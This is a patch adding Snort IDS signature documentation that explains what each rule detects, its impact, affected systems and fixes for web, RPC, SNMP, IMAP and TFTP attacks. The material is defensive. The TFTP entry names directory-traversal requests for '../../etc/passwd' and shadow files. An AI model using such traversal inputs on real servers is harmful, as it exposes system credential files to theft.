+--
+Sid:
+1608
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000803.txt
+++ snort-2.8.5.2/doc/signatures/100000803.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000803
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BosClassifieds" application running on a webserver. Access to the file "recent.php" using a remote file being passed as the "insPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "insPath" parameter in the "recent.php" script used by the "BosClassifieds" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BosClassifieds
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2706.txt
+++ snort-2.8.5.2/doc/signatures/2706.txt
@@ -0,0 +1,78 @@
+Rule: 
+
+--
+Sid: 
+2706
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft GDI using a malformed JPEG image.
+
+This rule does not generate an event, however, Sid 2707 depends
+on this rule to function properly.
+
+-- 
+
+Impact: 
+Serious. Execution of arbitrary code is possible. Denial of Service
+(DoS),
+
+--
+Detailed Information:
+The Microsoft Graphics Device Interface contains a programming error
+in the handling of Joint Photographics Experts Group (JPEG) files. This
+error may allow an attacker to execute code of their choosing on a
+vulnerable system.
+
+Due to the popularity of jpeg files, and in order to provide accurate
+detection for the GDI JPEG vulnerability, sid 2705 may generate false
+positive events in certain situations. Since this rule may generate
+a number of false positives it is disabled by default.
+
+In order to avoid potential evasion techniques, http_inspect should be
+configured with "flow_depth 0" so that all HTTP server response traffic is
+inspected.
+
+WARNING
+Setting flow_depth 0 will cause performance problems in some situations.
+WARNING
+
+--
+Affected Systems:
+	All Microsoft systems including multiple Microsoft products
+
+--
+Attack Scenarios: 
+An attacker would need to supply a malformed jpeg image to a victim and
+have the use attempt to view the file.
+
+-- 
+Ease of Attack: 
+Medium.
+
+-- 
+
+False Positives:
+False positive events are known to occur with this rule, the incidence
+is low but may be an inconvenience in some installations.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/683.txt
+++ snort-2.8.5.2/doc/signatures/683.txt
@@ -0,0 +1,76 @@
+Rule:  
+
+--
+Sid: 
+683
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database
+server that may result in a serious compromise of the data stored on
+that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an
+SQL database that may result in a serious compromise of all data stored
+on that system.
+
+Such commands may be used to gain access to a system with the privileges
+of an administrator, delete data, add data, add users, delete users,
+return sensitive information or gain intelligence on the server software
+for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the
+result of spawning a remote shell as a consequence of a successful
+network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and
+issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the
+protected network.
+
+Ensure that this event was not generated by a legitimate session then
+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft MSDN:
+http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_sp_pa-pz_5x44.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/295.txt
+++ snort-2.8.5.2/doc/signatures/295.txt
@@ -0,0 +1,61 @@
+SID:
+295
+--
+
+Rule:
+--
+
+Summary:
+This event is triggered when an attempt is made to overflow an imapd 
+server.
+--
+
+Impact:
+Commands may be run on the IMAP server as the root user, This can lead 
+to a complete compromise of the targeted system
+--
+
+Detailed Information:
+Failure to check the size of the value passed to the 'AUTHENTICATE' 
+command on certain IMAPD implementations can lead to a buffer overflow. 
+This in turn can allow arbitrary commands to be executed on the server.
+--
+
+Affected Systems:
+	Netscape Messaging Server 3.55
+	University of Washington imapd 10.234
+--
+
+Attack Scenarios:
+An attacker may attempt to exploit a vulnerable imapd server, permitting
+the execution of arbitrary commands possibly with the privilege of user 
+"root".
+--
+
+Ease of Attack:
+simple. Sample exploit code is available.
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Vendors have provided updated versions, upgrading will resolve this 
+problem
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000704.txt
+++ snort-2.8.5.2/doc/signatures/100000704.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+100000704
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SmartSiteCMS" application running on a webserver. Access to the file "comment.php" using a remote file being passed as the "root" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "root" parameter in the "comment.php" script used by the "SmartSiteCMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SmartSiteCMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1124.txt
+++ snort-2.8.5.2/doc/signatures/1124.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1124
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000439.txt
+++ snort-2.8.5.2/doc/signatures/100000439.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000439
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Claroline" application running on a webserver. Access to the file "postnuke.inc.php" using a remote file being passed as the "includepath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "includepath" parameter in the "postnuke.inc.php" script used by the "Claroline" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Claroline
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000146.txt
+++ snort-2.8.5.2/doc/signatures/100000146.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+100000146
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+directory traversal associated with Imail Web Calendaring
+servicel
+
+--
+Impact:
+A successful attack can permit a user to navigate outside
+of the web root directory and read files.
+
+--
+Detailed Information:
+The Imail Web Calendaring Server does not properly sanitize
+a malformed URL that contains directory traversal characters.
+This vulnerability is associated with static objects identified
+by names ending in .jsp, .jpg, .gif, .wav, .css, or .htm.  This
+can permit an unauthorized user to examine files that may contain
+sensitive information.
+
+--
+Affected Systems:
+Ipswitch IMail Server 8.2 and prior
+Ipswitch IMail Server 8.15 and prior
+
+--
+Attack Scenarios:
+An attacker send a URI containing a directory traversal to view
+sensitive files on a vulnerable server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/519.txt
+++ snort-2.8.5.2/doc/signatures/519.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+519
+
+--
+Summary:
+This event is generated when a TFTP request is made with a parent directory designation of "..".  This may be an indication of an attempt to request or place files on the TFTP server outside the root directory configured for the TFTP server.
+
+--
+Impact:
+TFTP servers that allow files to be placed outside the configured root directory for the server may allow remote attackers to execute arbitrary commands on the system.  Additionally if the TFTP server allows directory transversal using the ".." designator it may be possible to retrieve files from other directories on the system.
+
+--
+Detailed Information:
+This rule searches for ".." payload in TFTP requests.  Vulnerable TFTP servers may allow remote attackers to transfer files to directories outside the normal root directory configured for the TFTP server.  This could result in sensitive files being transfered off the system or arbitrary files being upload to the system.
+
+--
+Attack Scenarios:
+Using the ".." designator it may be possible to fool vulnerable TFTP server into placing files or retrieving files from outside the TFTP configured root directory.  Normally an attacker will attempt to retrieve sensitive system files such as "../../etc/passwd" or "../../shadow" after determining if this attack vector is successful.  
+
+--
+Ease of Attack:
+Simple: Numerous tools and automated scripts exist for scanning large subnets for improperly configured TFTP servers.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives
+None Known
+
+--
+Corrective Action:
+Upgrade to the current version of your TFTP server solutation, or contact the product vendor for patch information.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski Matt.Watchinski@sourcefire.com
+
+--
+Additional References
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0183
+
+Arachnids:
+http://www.whitehats.com/info/IDS137
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000493.txt
+++ snort-2.8.5.2/doc/signatures/100000493.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000493
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "DeluxeBB" application running on a webserver. 
+Access to the file "postreply.php" using a remote file being passed as the 
+"templatefolder" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "templatefolder" parameter in the "postreply.php" script 
+used by the "DeluxeBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using DeluxeBB
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1305.txt
+++ snort-2.8.5.2/doc/signatures/1305.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1305
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/586.txt
+++ snort-2.8.5.2/doc/signatures/586.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+586
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) selection_svc is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port selection_svc is using.  Attackers can also learn what versions of the selection_svc protocol are accepted by selection_svc.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as selection_svc run.  The selection_svc RPC service is used by SunView, an old windowing system from Sun.  A vulnerability exists in selection_svc that allows a remote user to read files that are readable by SunView. 
+
+--
+Affected Systems:
+Sun SunOS 3.5
+Sun SunOS 4.0
+Sun SunOS 4.0.1
+Sun SunOS 4.0.2
+Sun SunOS 4.0.3
+Sun SunOS 4.1
+Sun SunOS 4.1.1
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where selection_svc runs.  This may be a precursor to accessing selection_svc.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access selection_svc, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for selection_svc, not probes of the selection_svc service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the selection_svc service itself. An attacker may attempt to go directly to the selection_svc port without querying the portmapper service which, would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/8
+
+CERT
+http://www.cert.org/advisories/CA-1990-05.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS25
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/980.txt
+++ snort-2.8.5.2/doc/signatures/980.txt
@@ -0,0 +1,63 @@
+Rule:
+
+
+--
+Sid:
+980
+
+--
+Summary:
+This event is generated when an attempt is made to disclose the contents of a file on an host running Stalkerlab's CGIMail server. 
+
+--
+Impact:
+Intelligence gathering activity.  This attack can display the contents of a file on the server.
+
+--
+Detailed Information:
+
+Stalkerlab's CGIMail is a CGI program that permits an HTTP server to send SMTP mail using the data from the HTLM form.  A vulnerability exits in the CGImail.exe program that can disclose the contents of files on the web server.  This can be accomplished by locally modifying the Web page that sends data to the SMTP server.  The modifications would include setting specific variable values to file names that the attacker wishes to examine.  
+
+
+--
+Affected Systems:
+Hosts running Stalkerlab CGIMail 1.1.2 
+
+--
+Attack Scenarios:
+An attacker can modify an HTML form used by Stalkerlab CGIMail that passes data to the SMTP server.  This can permit disclosure of file contents on the server. 
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+No known remedy or patch is available.
+ 
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/1623
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0726
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3332.txt
+++ snort-2.8.5.2/doc/signatures/3332.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3332
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000669.txt
+++ snort-2.8.5.2/doc/signatures/100000669.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000669
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "headlines.php" using a remote file being passed as the 
+"header_prog" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "header_prog" parameter in the "headlines.php" script 
+used by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1421.txt
+++ snort-2.8.5.2/doc/signatures/1421.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1421
+
+--
+Summary:
+This event is generated when an attempt is made to attack a device using
+SNMP v1.
+
+--
+Impact:
+Varies depending on the implementation. Ranges from Denial of Service 
+(DoS) to code execution.
+
+--
+Detailed Information:
+SNMP is a widely adopted protocol for managing IP networks, including 
+individual network devices, and devices in aggregate. 
+
+Several network devices come pre-installed with this protocol for 
+management and monitoring.
+
+A number of vulnerabilities exist in SNMP v1, including a community 
+string buffer overflow, that will allow an attacker to execute arbitrary
+code or shutdown the service.
+
+--
+Affected Systems:
+Any implementation of the SNMP v1 protocol
+
+--
+Attack Scenarios:
+An attacker needs to send a specially crafted packet to UDP port 705
+of a vulnerable device, causing a Denial of Service or possible 
+execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the SNMP v1 protocol, use SNMP v2 protocol as an alternative.
+
+Disable the use of SNMP for devices that do not need it.
+
+Use Ingress/Egress filtering on a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013
+
+--
--- snort-2.8.5.2.orig/doc/signatures/575.txt
+++ snort-2.8.5.2/doc/signatures/575.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+575
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) admind is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port admind is using.  Attackers can also learn what versions of the admind protocol are accepted by admind.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as admind run.  The admind RPC service is used by some UNIX hosts to perform remote distributed system administration tasks such as adding new users.  If weak authentication is used, it may be possible for a malicious user to perform remote administration.
+
+--
+Affected Systems:
+Any host running admind with weak authentication.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where admind runs.  This may be a precursor to accessing admind.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access admind, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for admind, not probes of the admind service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the admind service itself. An attacker may attempt to go directly to the admind port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids 
+http://www.whitehats.com/info/IDS18
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1162.txt
+++ snort-2.8.5.2/doc/signatures/1162.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1162
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2904.txt
+++ snort-2.8.5.2/doc/signatures/2904.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2904
+
+-- 
